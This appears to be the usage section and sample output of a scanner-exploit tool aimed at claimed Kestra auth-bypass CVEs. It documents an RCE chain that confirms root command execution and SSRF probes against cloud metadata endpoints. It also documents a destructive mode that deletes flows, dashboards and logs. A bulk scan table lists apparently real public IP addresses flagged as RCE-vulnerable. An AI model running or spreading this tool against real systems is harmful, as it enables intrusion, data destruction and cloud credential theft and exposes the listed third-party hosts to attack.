positional:
  target                          Single target URL (e.g. http://localhost:8080)

options:
  -f, --file                      File with targets (one per line)
  -t, --timeout                   Request timeout in seconds (default: 10)
  --verify-ssl                    Verify TLS certificates
  -j, --json                      Output JSON to stdout
  -o, --output                    Write JSON report to file
  --tenant                        Tenant name (default: "main")
  --namespace                     Namespace for bypass paths (default: "tutorial")
  -w, --workers                   Thread count for bulk scans (default: 10)
  -a, --aggressive                Send PUT requests to confirm write bypass
  -P, --auto-ports                Ports for auto-expand (default: 8080 8081 8088 8091 80 443)

advanced probes:
  -r, --rce                       Enable RCE verification chain (shell + python flow,
                                   execution trigger, log retrieval, auto-cleanup)
  -s, --ssrf                      Enable SSRF detection (Pebble http() to cloud metadata
                                   endpoints, log-based evidence collection)
  -d, --destructive               Enable DELETE probes on flows, dashboards, and logs
                                   (WILL delete resources on vulnerable instances)
  --poll-interval                 Seconds between log polls for RCE/SSRF chains (default: 3)
  --poll-retries                  Max log poll attempts for RCE/SSRF chains (default: 10)

====================================================================
  Target:    http://10.0.0.1:8080
  Timestamp: 2026-06-30T12:00:00+00:00
====================================================================

  Version:      1.3.20 (AFFECTED)
  RCE:          CONFIRMED via shell
    | SCAN_RCE_a1b2c3d4e5f6
    | uid=0(root) gid=0(root) groups=0(root)
  SSRF:         DETECTED
    | Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
  DELETE BYPASS: CONFIRMED destructive ops bypass auth

  [Flows Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
    Status:       200
    Bypass:      YES

  [Exec Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
    Status:       404
    Bypass:      No

  ...

  ── RCE Verification Chain ──
    Flow Create: 201
    Exec Trigger: 201
    Log Evidence: 200
      > SCAN_RCE_a1b2c3d4e5f6
      > uid=0(root) gid=0(root) groups=0(root)
    Flow Cleanup: 204

  ── SSRF Detection Chain ──
    Flow Create: 201
    Exec Trigger: 201
    Evidence: 200
      Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
    Flow Cleanup: 204

  [VULN]  Verdict: VULNERABLE ...
====================================================================

========================================================================================================================================
  BULK SCAN SUMMARY   GHSA-5vc5-wxxq-3fjx  |  CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
  #    Target                          Auth   Flows  Exec   KV     Dash   Logs   Tmpl   RCE    SSRF   DEL    Ver
  ---------------------------------------------------------------------------------------------------------------------------------------
  1    http://173.249.1.26:8080        401    404    ERR    ERR    ERR    405    404    YES    YES    YES    RCE!
  2    http://207.180.207.199:8080     401    404    ERR    ERR    ERR    405    404    INC    -      YES    VULN
  ...
  30   http://103.115.65.228:8080      401    401    ERR    401    ERR    401    401    -      -      -      SAFE
  ...
========================================================================================================================================
  Total: 258  |  Vulnerable: 5  |  RCE Confirmed: 1  |  SSRF Detected: 1  |  DEL Bypass: 2  |  Safe: 29  |  Inconclusive: 224
========================================================================================================================================

{
  "scan_info": {
    "scanner": "kestra_cve v2.0.0",
    "cve": ["CVE-2026-49869", "CVE-2026-53576"],
    "aggressive": true,
    "rce": true,
    "ssrf": true,
    "destructive": true
  },
  "results": [
    {
      "target": "http://10.0.0.1:8080",
      "vulnerable": true,
      "version": "1.3.20",
      "version_in_affected_range": true,
      "rce_confirmed": true,
      "rce_method": "shell",
      "rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
      "ssrf_detected": true,
      "ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
      "delete_bypass": true,
      "probes": { "..." : "..." }
    }
  ],
  "summary": {
    "total": 258,
    "vulnerable": 5,
    "rce_confirmed": 1,
    "ssrf_detected": 1,
    "delete_bypass": 2,
    "safe": 29,
    "inconclusive": 224
  }
}

pip install -r requirements.txt
python main.py --help